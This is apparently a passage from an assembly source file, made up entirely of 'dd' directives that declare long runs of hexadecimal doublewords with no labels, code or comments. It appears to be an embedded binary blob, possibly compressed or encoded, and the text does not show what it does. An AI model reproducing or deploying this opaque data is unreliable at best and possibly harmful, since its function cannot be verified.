5FF8FF90h, 383CF9A3h, 0E9750A84h, 16904871h, 0BA407220h dd 15BB7FB9h, 8C3729E9h, 54C8B100h, 0C21C7E6h, 0AA94410Fh dd 0A792806Ch, 31667FE1h, 89903278h, 2213F015h, 0B0F4E800h dd 0CA5CF3A3h, 68DF1D08h, 0DC5D80E3h, 0A4F5C8C5h, 64348A00h dd 88F03A01h, 0EACA0917h, 0F6804D0Dh, 1CCE0358h, 0D5366200h dd 8AED22B5h, 98960059h, 9A3F9792h, 0D7001CE0h, 0AD313C3Dh dd 7BBCA9Eh, 3A8CB034h, 50E6273Bh, 0C1DB02B6h, 0F0EE8600h dd 0E24AFDDCh, 89BF007Ah, 0CA1BFA9Bh, 66309CD9h, 160F6237h dd 0A87500FBh, 828CCE06h, 0CD01FEFAh, 5ECC58F9h, 3C746890h dd 5704A767h, 33E4DD40h, 65B50DA5h, 0F819771Bh, 8A02203Eh dd 0EABD7447h, 287DE09Bh, 89580001h, 0A7D4FF77h, 52002356h dd 0D5C479E2h, 0F027E160h, 306572B3h, 80696470h, 7907E896h dd 4B86AC6h, 0C0053D21h, 41038183h, 780085C4h, 664B2F5Fh dd 2D124Fh, 45782EEFh, 1C03FD4Ah, 2BCBE901h, 81D2A3DFh dd 9867D0h, 0BC51EA90h, 8663B442h, 4C1F0700h, 6709CBABh dd 0B23F0768h, 0C0063889h, 2A03BFAAh, 83D8ED00h, 1E64E451h dd 7CA4B6h, 0EDD0BB0Dh, 35FB719Eh, 2A955701h, 0D43B1AD7h dd 0D184CF0h, 67E34F61h, 0A3840258h, 0A33C4022h, 987E5AACh dd 7220397Ch, 0FFB303DFh, 28327D24h, 15872822h, 8457043Dh dd 7EFAF200h, 0F314DF34h, 0BBC89D50h, 0E4D78414h, 2C320008h dd 93C0C817h, 0C8066068h, 0E088777Fh, 0E56E6703h, 0A4454Ch dd 0C4B2CD91h, 85EDEA54h, 94395BFCh, 38E798C1h, 79881h dd 34D3287Ah, 0DE74E8F2h, 0B0E13Eh, 95CF1A8Ch, 0A188EA8Fh dd 0C2C99Ch, 9824F92Bh, 0B8E09605h, 84065393h, 0C9555Eh dd 0B202EFB4h, 7ABA776Ch, 0D17DACA8h, 1B086549h, 0E381B67Eh dd 23F8032Dh, 9C201308h, 18E2183Fh, 0DE58B5B7h, 9071529Fh dd 0D830041Dh, 0BBBC4978h, 0DD192000h, 0A4907BA2h, 0CA0C00D2h dd 0F4975083h, 5E30E666h, 2628995Bh, 484F0095h, 6E0DF963h dd 0DB01D522h, 2E4DB8D9h, 8C4514B1h, 0C6B30800h, 1D057F6Ch dd 0E4FB5B80h, 68169450h, 0B32DAE03h, 7FC89143h, 990ED7B1h dd 0F3BA32h, 0E83D468h, 0C21B1EE9h, 5DF7C6FAh, 9C008959h dd 0D6B3AD44h, 826BD2h, 0B9967F2Dh, 3F29266Ch, 68FB6005h dd 8000BB5Bh, 8057E930h, 0CE2C72D5h, 28307460h, 4F209498h dd 52FD14C4h, 0B0209CE0h, 647B0900h, 6DDEE48Eh, 397E006Bh dd 0E8E79555h, 40913440h, 66F10304h, 407B7105h, 786CAFACh dd 400076CDh, 6B09DC80h dd 1E137F0Bh, 404496E3h, 0FF07F81Eh, 0EA007948h, 5F55CFAh dd 9CDA31h, 0F835106Ah, 0EF77F34Ch, 0C7008276h, 3F6B33B7h dd 1512562h, 2065A1C1h, 0F33BA9C9h, 11E061C3h, 8D15B201h dd 0E0200F28h, 8021458Ch, 0C43A3624h, 4F600B6h, 98F564B7h dd 32E5072Fh, 0C527BB3Bh, 0F7A0C014h, 7603F407h, 0C160FF2Ch dd 203842E1h, 12C3819Ah, 3F148142h, 0F53D833Ch, 0E0CF6553h dd 9DF85h, 41EE5F6h, 0CC33254Bh, 3A0F3800h, 0D14FBA39h dd 0C534A475h, 264F608h, 6ADBC080h, 0F0A0A135h, 90006E18h dd 0CADD1646h, 0A416402h, 0E4100F76h, 4533EE8h, 24AADF0h dd 81FC10C0h, 745F9B7h, 60ABF33Dh, 0BE33A036h, 0AD7DDEF8h dd 0C368661Eh, 29B5CE8Ch, 0F1AC4487h, 84F59344h, 42B47822h dd 96DA119Bh, 11672111h, 2F21B29Ch, 0BD953308h, 0B04577C2h dd 0C75082DEh, 44925A8h, 48AF4D14h, 624380D7h, 0ADD1DE5h dd 0F1718900h, 796A2192h, 0DBBB0024h, 32D9FE9Fh, 0B00FB95Dh dd 6090FF33h, 0D2840EC8h, 69270017h, 0D1C09673h, 3D0048C1h dd 0A316B4A8h, 65F495h, 512A99EDh, 21C17514h, 718D8500h dd 33A58161h, 1E0E0E47h, 2B23E357h, 4DB8CFCAh, 0D100B353h dd 3D493235h, 2E2DA3h, 0CCBA969Bh, 0A960CF30h, 0E6B5B900h dd 17B01408h, 9F29003Dh, 36430207h, 7100F54Eh, 0CC0B45EDh dd 19D2D5h, 0CEC12E80h, 0FB76C5AFh, 3AA9A801h, 787C5C6Dh dd 48CF0CC4h, 0A10E30C7h, 0F963A6ABh, 67B03846h, 6E000AFCh dd 96BDA31Ch, 81BC57h, 0B65D35E4h, 0A4079E45h, 975EC900h dd 76CC73A0h, 0B21F00C2h, 0D1E415D8h, 2A3918E8h, 558D87AEh dd 0F080353Ah, 0BEC6ABh, 930C2F45h, 627EF503h, 9D884302h dd 0C0985B64h, 0D5F8CBh, 3313CDDh, 0B69B2DEAh, 0D2AC1A33h dd 0DAA3C0EFh, 2FD100BFh, 9964B5FFh, 64923022h, 0B9ED5B1Eh dd 0CA5AF280h, 79595Ch, 63819AFFh, 7A9B1FBCh, 4BE7B400h dd 13A447DDh, 0FC753CF6h, 2ED3D500h, 84604D34h, 93C27709h dd 0BD8C2365h, 0A13B9801h, 13720086h, 0EC1A370Dh, 0D607CE53h dd 5EA9BAE3h, 0C845EF80h, 8D730717h, 237B1CF7h, 99807975h dd 2100FEE8h, 0F0EE55CEh, 7BB65034h, 8CF60069h, 977BABB0h dd 0B930A82Fh, 0E09C3071h, 4404002Eh, 17AADC2Ah, 11181E1Dh dd 0AC2073C1h, 0F7B40048h, 5162F925h, 8E0033A1h, 37938DC5h dd 2F72F340h, 67C1CC69h, 7A86F078h, 810D0E05h, 0AC0FC32Fh dd 9766408Ah, 59F25h, 0F198B7E8h, 5E271395h, 2E581900h dd 0D0F7071Eh, 325F6CCh, 8EA0DBE9h, 978859E1h, 10002E98h dd 74367B6Ah, 0FC11711Eh, 1D212802h, 0A36D1DC8h, 0FBF640BBh dd 5313C8C7h, 3B305F00h, 0C11679EAh, 0FE943A26h, 1E7EDF80h dd 0F085D5BDh, 18493F07h, 4090C583h, 959A7A2Ah, 0D0001078h dd 8607A34Eh, 1E990CAh, 64662C16h, 20CE4191h, 3A00B982h dd 815E4845h, 3E0C0FCh, 8C921C0Bh, 41E88B9Bh, 0EE01F05Fh dd 69467668h, 33C49FA3h, 8DB312A7h, 2DA00304h, 1B903EAFh dd 870020A5h, 0CDA32E17h, 24C1B8C4h, 43C71F3h, 3151B09h dd 80DFCEB4h, 0AA597Fh, 297C576Fh, 83C19901h, 0E662ED07h dd 0D7A0FE78h, 89CF2Bh, 0A0C8768Dh, 194968F5h, 0F2CAB100h dd 2CAE36E3h, 33E700C3h, 0EA62C8BBh, 497B7AFFh, 0C48F426h dd 23E30700h, 0A41E5E2h, 12E42D39h, 7D5101DCh, 2032BB7Fh dd 42FA1E00h, 0CFE7FA02h, 0C04C5968h, 6D109Fh, 250227B8h dd 0FC211231h, 94D2CA07h, 0B2A0CB22h, 0C29B34Bh, 0DBE2C938h dd 0EB009EE0h, 0D344415Bh, 0B10DEFh, 0D19577BBh, 827F0228h dd 0C0C87230h, 0E91A8Fh, 0D5B1BB52h, 453C7605h, 0D9937A00h dd 0B078942Ch, 0EC1600C7h, 0C2D5C5A8h, 0E4003B4Ch, 727DD65h dd 0A03ACAh, 4660779Fh, 73C0203Dh, 0B61C8607h, 7FC09435h dd 4BF63h, 965814FDh, 40D2699Ah, 0DB47520Ah, 0A205C4B0h dd 0C040CDC4h, 5E63C690h, 0F6CC00B4h, 0DEB2B11Eh, 0CD000A0Ch dd 5569514Dh, 48BC9230h, 0A702043Bh, 1E012FE3h, 5A489101h dd 0DA2424h, 0C2B4BE4Fh, 9DE84D6Ah, 0A867921Ch, 6F6296C0h dd 35D306h, 386C4182h, 4B1C04DFh, 0C91A9C01h, 0CE9E6293h dd 93C4EE8h, 98072E97h, 0B5ABC003h, 5A40D6A8h, 2F1FDD00h dd 49D81E5Bh, 8FCC0226h, 41E7522Ch, 0BBDF5040h, 3500D27Ch dd 0D8D32270h, 7CBB5B2h, 0EF0D56F3h, 1AC890EAh, 0FF0EEE78h dd 0C155E629h, 4D2C9B5Ch, 4CE520h, 3BB0B7C6h, 0D932CF2Ah dd 0FAEEF0A0h, 14B16B14h, 0C13D00AEh, 0E18587CBh, 6F120138h dd 0FA988252h, 3023C1A2h, 8101AB38h, 4D25D566h, 0D5304A55h dd 68A4383Ch, 0FC86F805h, 52F000A9h, 0DB0C8B5Ch, 0AF7B0B00h dd 5D96626Ch, 0CCF40097h, 9904EDCDh, 9500A5C7h, 8476BA88h dd 505C6798h, 0F2C025h, 71C5D2BFh, 0FAD0B549h, 793D9100h dd 14CB1B9Dh, 8EEAF2h, 19BF2118h, 0E29B59B7h, 5D3DFD0Fh dd 4864A480h, 784A8080h, 93031CEAh, 94774043h, 6B180DD8h dd 459CB000h, 85011999h, 341A00D7h, 6F089BACh, 6D289D41h dd 3F008C0Fh, 669AE0F5h, 1F1142E2h, 0C0A3858Fh, 81AC37A7h dd 0E800C308h, 361D2A1Ah, 3AE909h, 65F20318h, 8ED29211h dd 5E42F500h, 0A65CAB58h, 40E400A2h, 608489C9h, 19001C1Bh dd 9ACF32F4h, 0B8DE8FDBh, 31EC3BCCh, 0C085671Fh, 81E24B43h dd 990053BBh, 3024D06Fh, 60C8754h, 2ED955A0h, 1001C81Ch dd 2EFCFB6h, 56E85934h, 0FFC201C0h, 0FAA400Dh, 80B43041h dd 8098FD4Ch, 0CA6E1350h, 0A04000E8h, 67EF621Ah, 0C7007470h dd 0A76B76CDh, 202D046h, 0A8925E0Eh, 4CEEFAA4h, 7FAF5803h dd 90829D87h, 0D56B09h, 2310BA8Ch, 50C4A9BFh, 0D3F67605h dd 99C0CBCFh, 18D126CCh, 0F1F82198h, 0EFF4B964h, 9BA1DD00h dd 33097973h, 0F71101DBh, 0DCC7AD68h, 0CE67F0FFh, 0A3976107h dd 1E40CCE9h, 0B08B7778h, 0FEA40037h, 2687AA68h, 0F1C2C2C8h dd 65980Dh, 0EE4ED664h, 25001CFCh, 33787F13h, 9FA1F3h dd 79705DB6h, 69FDD423h, 0E6867200h, 806D263Ch, 0C4C8001Eh dd 59898199h, 297C0695h, 28D3C200h, 16D87FAAh, 3974C0h dd 2D86C4BDh, 41DD0BFh, 3D632B1Eh, 37233EB0h, 0C39866h dd 41D50193h, 0ECFE6282h, 1542321Dh, 0D2E4C2C0h, 0D0A154h dd 0A243DDBEh, 0D8F5C4F8h, 23520400h, 7F48C399h, 411F0B67h dd 44001859h, 6C73DC15h, 5C40BF4Ah, 0E37917CBh, 5F310001h dd 454C7E89h, 2601C6EFh, 4DAD54E7h, 0E0C0F8B7h, 751D000Ah dd 6B1291E5h, 8A16DBD4h, 0B8025A98h, 0E0D841BEh, 2DA30ECh dd 0C6B87C69h, 50E0F2BCh, 380F9F92h, 0F3C3A1B3h, 0D757FC00h dd 9A31D0B6h, 4A2403C4h, 5EA02DDFh, 96C0C0EDh, 16002CD6h dd 18F63A08h, 0B011FBEDh, 345E02B4h, 1E82B36Eh, 16129E01h dd 24EE4701h, 0FD30BD58h, 0BB0D48D5h, 13380FA9h, 35474C06h dd 96E55E79h, 0F9E4C166h, 3F94108Ah, 76450022h, 9F277D54h dd 8400C107h, 0B14425A3h, 94A63046h, 0FA6C83E0h, 0E0000B47h dd 0E3F6836Eh, 3066A231h, 691948F7h, 0DDF0F48Ah, 821CAF02h dd 60445DB8h, 8FD7BEh, 0AD483935h, 6F09D140h, 1433767Fh dd 0B9894A9Eh, 88245C8Ah, 3ECE0095h, 0D89119A2h, 0B185F8Fh dd 90208B9Dh, 0F8270030h, 80CB9723h, 0D398FAC3h, 0E825B000h dd 837BF1A2h, 2F570512h, 34F32Bh, 794727CDh, 8A02DD4Ch dd 48AAB90Ah, 2D3BC09Eh dd 2EB47BC1h, 210D882h, 0B94E445Bh, 20A0B6E1h, 0ECFBFC91h dd 0F381C20h, 7537170Eh, 1EB23001h, 3AC4F87Ch, 7E1F025Ch dd 1128315Ah, 0FCBBE441h, 0E040D3C7h, 70CB130h, 72579F3Dh dd 416016A5h, 0C100C593h, 27E378A3h, 0B1BE3204h, 2B3B0238h dd 24615374h, 3CF2C0FDh, 4209467Ah, 0E85BCh, 0D9A3B1E4h dd 0E99200CEh, 5EBE5336h, 0C51C15FDh, 1407231h, 0E4B9BCDFh dd 0D4E62C2Dh, 39880734h, 0D077A5ADh, 9E7430F0h, 64049872h dd 4FFCD013h, 0D76084E1h, 0DE281399h, 327E0365h, 30AFA8A4h dd 0AB9BFE86h, 0D299A000h, 0DA3B385Ch, 49FB0F23h, 0B680E2EFh dd 0A782BDA8h, 5864FE02h, 406301C6h, 9718314h, 0B53F3C61h dd 0DA0BD081h, 5AA4242Dh, 63D2C3Eh, 6A3FF323h, 8B560030h dd 0D39F0E9h, 4117117Ah, 500712AAh, 8C6032CCh, 7DB508Ah dd 810CCF37h, 3EC3AEB2h, 0F0C00E0Dh, 7B149A77h, 0DCCEECh dd 9EEAA89Ch, 5D48CBh, 0DA450F5Ch, 72115337h, 3EE65800h dd 0C6A67DB9h, 0B34C0236h, 0E3291849h, 0E79C42h, 0E9189D71h dd 9C4E7324h, 801038BBh, 0D50AF07Ch, 9291A3h, 0D8B7AB78h dd 0C1D0DF02h, 7F8EC000h, 9D0C06A9h, 0DEEA00FFh, 0F6F1E34Dh dd 0AF1F56C8h, 5503FC6Ah, 0E85CB197h, 0D1110Bh, 0BC38FECEh dd 0EF133BC2h, 261C2098h, 9300C144h, 8120DE65h, 58250547h dd 778968Eh, 801F8DE2h, 6736295Eh, 5200DCE8h, 0A1C2C3D7h dd 3A07E842h, 9E802F9Fh, 0BDFFFD06h, 0AD7D658Dh, 0E67F8900h dd 71BA5779h, 13E358BFh, 931BB407h, 746E0786h, 0F7BDC0AFh dd 960030C8h, 9CDA2532h, 50227DCBh, 59DEC042h, 1300EC2Ah dd 0FAF0D0AFh, 18005537h, 0C33FC169h, 8A88B2h, 29DA5033h dd 16717B93h, 0FD36460Bh, 6C18A085h, 0AF137D3h, 86AC5788h dd 8D0202C0h, 638E3FBh, 0AD580070h, 84DFFD12h, 0CA0192B8h dd 1E609F37h, 13F4E3ACh, 2E4F12Fh, 0D3CD0044h, 92AD8BF2h dd 1803E26Ah, 96FF9377h, 0C33ED899h, 434B00CFh, 73F1E764h dd 6D07E284h, 0BF29F2A5h, 32BED270h, 59A9148Dh, 0A700904Fh dd 955010DDh, 4A1F635Bh, 3EC09D69h, 8A2AFD3Dh, 9E2D0EC8h dd 9677BF8h, 0F7E3E167h, 0F4D9F08Eh, 7CB1F600h, 0C645E8E2h dd 4D2800C4h, 0F91D0DCAh, 1200116Bh, 5B352DF8h, 18B4848Dh dd 28C5B0C2h, 3C00BC07h, 1F7E20E4h, 14232FFDh, 0C4475ED8h dd 806F1A12h, 8983B790h, 2C3EE50Bh, 95A30071h, 98F5FEFBh dd 1C6E0058h, 3ED66586h, 4904524Eh, 9EC1E90Ah, 17A884C0h dd 4C340AFCh, 80C4689Ah, 0BB7C94Eh, 60F609DBh, 9C0D072Ch dd 25135180h, 0A75DF93h, 414EBB10h, 3C8E80D4h, 0C804222Fh dd 6AC2B007h, 0D2242A6h, 67684097h, 0D72A0008h, 750A21D4h dd 8E00E249h, 82A4FE6Fh, 0B431BA86h, 5C65891Ch, 0FBD09480h dd 1D00FCF2h, 0A50A32Dh, 7AC19144h, 94960040h, 0CB8FED77h dd 2F9063F4h, 47B15016h, 0CAA52C00h, 9299B35h, 0DEDBCF5Bh dd 0F9450582h, 377CB860h, 3BB92E16h, 0B7ECF001h, 4E5DFB8h dd 17AA2187h, 0AB71000Ah, 0B00C847h, 3837F16h, 978B78h dd 12EE2F0h, 0A1737191h, 0D6125100h, 32F481F2h, 255000B2h dd 8230EE5Dh, 3300D9FCh, 986654Ah, 11E159h, 23C6939Bh dd 40E79CEAh, 89741D00h, 4BA76D9Eh, 0F4F6C7h, 0A995600Ch dd 846BFB9Dh, 0C6471901h, 3A3555AFh, 4E0C1AE4h, 51F80975h dd 7AE97F01h, 1703CA7h, 1F8CD3DFh, 0E2205D55h, 19783FEBh dd 9A805A38h, 6C01E199h, 940FD4BCh, 0E04A40EFh, 7FA6C656h dd 454F3B27h, 0FA00B4DCh, 0E4014CF6h, 1E00A438h, 97CEF366h dd 70BA32h, 0F2CCB9AFh, 0D8BD8172h, 14928FEEh, 0BB2CCA02h dd 409C2502h, 87F7CCh, 0DA4F61A7h, 0D71A0BEEh, 0C8997400h dd 0D98C05E6h, 21A70B91h, 7C8028BFh, 0BD58E7FFh, 0F1CDB700h dd 85A9E16Bh, 54C3AD5h, 36CF7680h, 0C78667EAh, 0C9565100h dd 0EE52F6CBh, 0EF9706D8h, 19BB303Dh, 3AB08D1Ch, 736FFA02h dd 44E1C0BFh, 63121C43h, 6036ED3h, 316B41CDh, 0D4471009h dd 960C8067h, 2AF5883h, 71C7B109h, 8640370Bh, 81031F64h dd 2EB3A153h, 11380FC5h, 7644443Eh, 0F4678280h, 490768F2h dd 460BF15Bh, 58577C32h, 0FCA7034Ch, 4F35564Eh, 1A4A6BA8h dd 983BB000h, 0E84541EDh, 15120038h, 229F8379h, 71035DC7h dd 9CF62DF5h, 1986E97Eh, 1931474h, 9599A76h, 0F35EE340h dd 3AA0E8A3h, 84B65763h, 22C79605h, 5D1688D0h, 0D2380EA2h dd 0E68E925Bh, 0ADBB685h, 9114E128h, 1BA489Ah, 3B700DBEh dd 38865918h, 0E99B2095h, 0E1722E18h, 7AF95F40h, 0A0D87440h dd 0F82C8624h, 2F0B846h, 0FB289ADCh, 108E59C6h, 443360BAh dd 806528A4h, 5A5063EDh, 0B7007F6Ch, 0AD61C31Ch, 17F144C5h dd 80C6AC76h, 361B97E8h, 985F0400h, 0C0DD9E41h, 0BD2F001Dh dd 8CA1ADEBh, 37075880h, 0CA347AE0h, 2C96C080h, 65890013h dd 8E152D81h, 0C9002AE7h, 93BEF232h, 5CE6D6h, 0B535A179h dd 0A339363Bh, 0DDE50101h, 992BC411h, 2CD80E0h, 0C889598Ch dd 3BC02181h, 450E733Ah, 8084F796h, 0C5CA887Eh, 1B3B0024h dd 10EA7D20h, 930C4B11h, 0EC47EEAEh, 320A0001h, 0C88691B0h dd 621D69F9h, 6BC075DCh, 6A407AB8h, 0FFE30012h, 2854E439h dd 9F006F05h, 0EDB1FE1Eh, 890976h, 7EFB1962h, 5121DEBh dd 6AF8CB0Bh, 4CD0EDBEh, 0E90507D2h, 250BF624h, 9D7F0C03h dd 9B2803D2h, 48A31766h, 1645F8E0h, 0E719D515h, 47C405D8h dd 1C0F7E76h, 0AF8D83FAh, 24110F45h, 5EA021CFh, 0C79B3FB1h dd 3140D93Ah, 0EE992148h, 90821630h, 44300614h, 51977CE7h dd 5309F670h, 3E00E85h, 30981540h, 0DB219D08h, 94035308h dd 0B4A8539h, 258B7Ch, 56AE32E1h, 0D12712F2h, 991FCDF2h dd 0D9DF4C24h, 0A506B700h, 0F69B0153h, 0E3442931h, 890C1F3Ch dd 36880E89h, 0F4D7E03Ch, 200F552h, 0D187A054h, 33A85Ch dd 5B1821FDh, 0C22BB769h, 70C59C03h, 0E0228F07h, 0DF09E4h dd 0D9F5A792h, 0E896DEF3h, 5CE694FAh, 66AC5512h, 0C3118440h dd 3BFAA790h, 0E08A2F45h, 641C930Bh, 65AB0424h, 4781AC90h dd 0F9A002B0h, 0D275C3DEh, 0A414407Dh, 545F432h, 7BE7E3BCh dd 0F690401Ah, 9D0D5889h, 0D7FB8806h, 6008A094h, 91D3212Dh dd 0D601D858h, 957B8F47h, 0A880E37Ah, 0B7603784h, 0B200BB5Eh dd 0E7BF836Ch, 48065F80h, 1500D4ACh, 0EA973987h, 0FE04E64Eh dd 5B89B483h, 579BFC80h, 0F4240FA9h, 204611DEh, 6F00A0ADh dd 0F8F35E1Fh, 6DDB164h, 4780FEE5h, 60853901h, 0DF6028C4h dd 1C4CD5CBh, 8CE68330h, 0A861F85Dh, 0D8ED502Fh, 0D9AE3094h dd 6512E821h, 9DBBF102h, 485CE056h, 2A812558h, 0F0F9EBh dd 3F8E4C19h, 0ADFEF29Dh, 9B0AC318h, 29BBDB80h, 154E8E3h dd 9D0A588Ah, 88111890h, 580092D4h, 7F61862h, 26853F1h dd 0A9B84B33h, 5441A004h, 38793050h, 3D87F4Ch, 3DF296FAh dd 0C400A4E1h, 5BEB84E0h, 1A382A03h, 0A237DA63h, 0E1A220CAh dd 0D600DB84h, 551E7B5Bh, 0C2237FC0h, 0C7DCB381h, 0B4F861C3h dd 0E5002B43h, 0D89FFEFAh, 1DD71670h, 0D3A31835h, 180037C5h dd 4DD1F8A9h, 0C3000C18h, 9376B72h, 0F00DB022h, 60D2607Ch dd 158D5F58h, 0DB191090h, 0EFA91E7Eh, 1D1A8FCh, 0FC5DA7DFh dd 0C5E30725h, 0E902E73Ch, 55C9FFCDh, 2258C80Eh, 0CA230B51h dd 5C8A4965h, 985302C8h dd 7CC841A6h, 23614F81h, 0DE7FD118h, 690C49BEh, 61182D93h dd 0A2B86553h, 90AB30CDh, 613DB90h, 1C419C63h, 0D394CB0Fh dd 5F9DE88Ah, 30E8328Eh, 0E9E24065h, 6D7F1843h, 0A79C6B06h dd 904831C5h, 86E1E0D4h, 23D4A453h, 21D1018Fh, 19A15EE2h dd 0E8292FCAh, 87527600h, 0DA00DD36h, 86043D5Bh, 9807DB98h dd 0E9D0F68h, 70F85853h, 9906D0BEh, 0A87C5FCDh, 1A5B00C9h dd 0A32EE6B4h, 133C947Ah, 0FF1005C4h, 8DC3E225h, 0E1C0A7FEh dd 2E8A04D0h, 2C080EDFh, 0B449000Ch, 218C386Ah, 0D2FF3615h dd 69280E4h, 1AE1957h, 0E69D3AB0h, 0E0907394h, 0C6EC1436h dd 44005CB6h, 46585EB8h, 8B630382h, 0D6AD4DE8h, 97D798D0h dd 917BC8C6h, 0B1E902B1h, 967E1560h, 0A7A1CB40h, 84BC0A3Eh dd 9D8370C4h, 5B93E4D1h, 9B6117DFh, 0C0F310A7h, 1C135C3Eh dd 0E8680931h, 61F51C04h, 0C07084DFh, 1C3748E2h, 0A180C7C8h dd 912B84E8h, 0F1FE009Bh, 0FF53DCA3h, 58EC0F57h, 4BED440h dd 3D643B49h, 462C887Bh, 7EE681E6h, 3094DF00h, 651BA4FBh dd 913F0D02h, 20B8A277h, 449DF5Ch, 9B88046Ch, 28D221F5h dd 84E430F6h, 0A5BCF11h, 9E80CE88h, 0CC7484E5h, 344C984Ah dd 6060A6EFh, 6F8145C8h, 6560F261h, 13E14766h, 0FE74451h dd 57FF7F01h, 7BB230A4h, 0C500B158h, 2FD54A4Fh, 5603BE82h dd 0A200ACE7h, 55AB28FBh, 80F70F47h, 1F5936F1h, 4915F9DDh dd 1927493h, 0C15EDEF2h, 22742340h, 0E507014Ch, 2BA34E21h dd 0C28C3161h, 952D5D20h, 37E600FAh, 0F86CF5E7h, 9E481EBAh dd 0ABF1044h, 49E88048h, 61E3008Ch, 0A993E606h, 0AD0F6342h dd 26238B0Ah, 81177Bh, 8CC27F6Ch, 1C3A2EAh, 0C55F8109h dd 7340F2Ah, 41839C74h, 0D10054Bh, 7AC115Bh, 635CB690h dd 0A00324B7h, 0CDA79AF2h, 0E4281714h, 0FE4002E6h, 0D100F8ABh dd 0A295C598h, 90482ECh, 84E3183Eh, 42491BB0h, 80CF8804h dd 0AA852C9Dh, 0A1043D10h, 5093BCE7h, 8CBC88h, 23BDE26Ch dd 2DF1A1Eh, 29F90CBh, 187C2C90h, 0E085886h, 64FAF09Dh dd 8ED84026h, 849758h, 86D0F22Fh, 0EACA2E6Bh, 17D0DB58h dd 10006367h, 12900EBFh, 1FCDFFB6h, 7D5F7424h, 83FC4088h dd 7CABC412h, 17BC244Bh, 802791D4h, 37866359h, 189D58D1h dd 8F719C2h, 141D7C03h, 0CA641E31h, 18297F00h, 0E3FEB5BBh dd 32F987B8h, 0D3AE13E4h, 6AEAD040h, 8324CCh, 0A0BE9AC8h dd 44685B98h, 5238B667h, 0A4097387h, 415FA858h, 20D911AFh dd 875C3014h, 4A72E100h, 0A464999Eh, 88684CAAh, 78531005h dd 0FE3C88D0h, 0E589AB76h, 8BE92019h, 0B8E6A5A2h, 3AD59E44h dd 2BF52F6h, 5DAC496h, 4036BCDCh, 5D3CDFA8h, 822A3B65h dd 7C4EC07Fh, 0D4160044h, 6AB3E601h, 0F88C255Dh, 7D0092E5h dd 62E9757h, 15904D1h, 0FEEE0A60h, 0D0B84683h, 0E718440Fh dd 0AE910E85h, 70968148h, 0A80020BDh, 68515537h, 12D73272h dd 22E1B6h, 1DA25B9Fh, 3C30E474h, 0C1E789D2h, 2F4A0781h dd 20F4C77Ch, 1A60F13Ah, 5E66407h, 8C40BECAh, 75E7147Bh dd 0CB8E0ACEh, 9A0D690h, 0A064E03Eh, 17004748h, 4430F467h dd 1BB6A27Bh, 0B10FA809h, 3EEFAAF0h, 0B0441039h, 0FE2F29DAh dd 708D1C84h, 7103BDA6h, 0E28AE409h, 8425BEC1h, 88B489F8h dd 3FB00224h, 9862298Ch, 5309DC30h, 80E8A08h, 40A264FAh dd 2652F1D8h, 3DED00F5h, 92C77689h, 90B23073h, 1E9AC538h dd 0F5946965h, 893F0FDCh, 0D82273C7h, 0C78503Ch, 9543905Fh dd 1A221D18h, 6F009624h, 21D08031h, 42C95EE5h, 8006CB40h dd 54C6ED34h, 3F6F1352h, 7C4402EBh, 210FE418h, 8041AF92h dd 4007D870h, 0BE00011Bh, 713AE885h, 4D187DFEh, 74040438h dd 81025FB8h, 0C7C2BF0h, 1581685h, 0F0CD149Dh, 588D90B7h dd 817A03D0h, 0B5ADAF04h, 0D980394Dh, 50191E80h, 0ACE99854h dd 530204BCh, 8EF00E87h, 0AD90098h, 86207B53h, 366C134Dh dd 6350907Fh, 95009170h, 0DDD2169Bh, 3A30FCD5h, 0E2900627h dd 0E7C30577h, 3C2EDCBBh, 0C043E910h, 0A85F8CBAh, 80FB4C2Fh dd 0CB108E02h, 6441DBA0h, 6BD860CFh, 6467E0AAh, 38E514Eh dd 6EC29880h, 0D7044349h, 97705F4Eh, 185410A0h, 0F11B7BE5h dd 0B67115D9h, 10F33E01h, 0E630BAE8h, 28BEDC0h, 548CE5E7h dd 10C7B3CFh, 0E602A44h, 0EB003783h, 903A34Dh, 6A5FA947h dd 206C8806h, 5D1CA0B3h, 0A7BF2EA8h, 61498A58h, 5E90AE80h dd 93004346h, 0BBAE107Dh, 0D4F087F7h, 579C8600h, 0DEF3DB55h dd 0E87E58E6h, 0F9758980h, 571328BAh, 0F0C5EE3h, 3D4E889Bh dd 0FE1DAD36h, 169C4FDDh, 5CB7F400h, 4FF0B666h, 0EF42A13Ch dd 0C0324950h, 12229688h, 91A8617Ch, 0F91A3364h, 0DDE88106h dd 2E19D555h, 4FF2CC23h, 0FBFCC30h, 0B6C9576Eh, 40A9783Ah dd 0FF366803h, 694EC7A0h, 3E7FA116h, 5CB88842h, 0E70440BDh dd 66658093h, 0ADACA100h, 0AF9B383Eh, 240B2EEh, 9E80110Fh dd 5095F9F7h, 0C0804D91h, 0BA18FB72h, 85626E3Dh, 0FE67A194h dd 81EA8584h, 3019FA3Ch, 2E502B60h, 0D0A0F58Ch, 0A8A046E9h dd 0E0F4F3E3h, 9180FA64h, 0F421EB61h, 448CD15Eh, 0E3070536h dd 0E04EAE21h, 124C84D9h, 2C27C810h, 3E0BD410h, 1184EA86h dd 88325BD0h, 2A9F80C9h, 2DCCD185h, 0CB508A00h, 1D8869ACh dd 6840A90h, 82C0A660h, 0CA0CA2EFh, 3A3DE440h, 0AA1EC09Ah dd 8D80B04Ah, 0E4F5EE17h, 12582993h, 0A4539ECCh, 35ED0828h dd 0F6061103h, 0B50BA35Bh, 409898D1h, 0CEF8343Ch, 0B43B3B8Ch dd 9A4F250h, 4E3C9F23h, 68603042h, 3896D51Dh, 12CC465Eh dd 35038609h, 0D0BB63A3h, 2493715Fh, 2774A56Bh, 0BE8BF010h dd 2CF4342Eh, 0B483371Eh, 0A16A0FFDh, 540205D8h, 0EC427CE7h dd 0C071843h, 0D33DBD18h, 0CAA599h, 35F74F48h, 0D1E8FC6Ah dd 2DC773Bh, 5D954AD5h, 10066E7h, 0E9FFAD49h, 0C2DD4871h dd 0EC4798E2h, 1844A042h, 0D004C3C8h, 0CD17B346h, 0BEAB2C3h dd 3AD96A9h, 3700EA74h, 0BD079589h, 71D500DEh, 0AE093B1Dh dd 0D14443Ah, 0E8C4F9D8h, 5F128CCDh, 2481E4ECh, 7430DE6Dh dd 6EA12693h, 452C13B4h, 95D1A8h, 7283D52Ch, 373E0C82h dd 0F0131C09h, 0E3F70400h, 7E159AE5h, 21D8B036h, 8C8F7BE6h dd 0A09D8258h, 131019FBh, 7C58C8D6h, 1D2A0013h, 65988E54h dd 0D9027E90h, 8A99D15Fh, 526C5A97h, 0DD0174F7h, 0D25BEC84h dd 0A0986837h, 384E6A3h, 510C5A62h, 5D887F4Ah, 9E3B70h dd 2A457B09h, 21742438h, 0B68E44A1h, 78A2CFC0h, 1B1549Ah dd 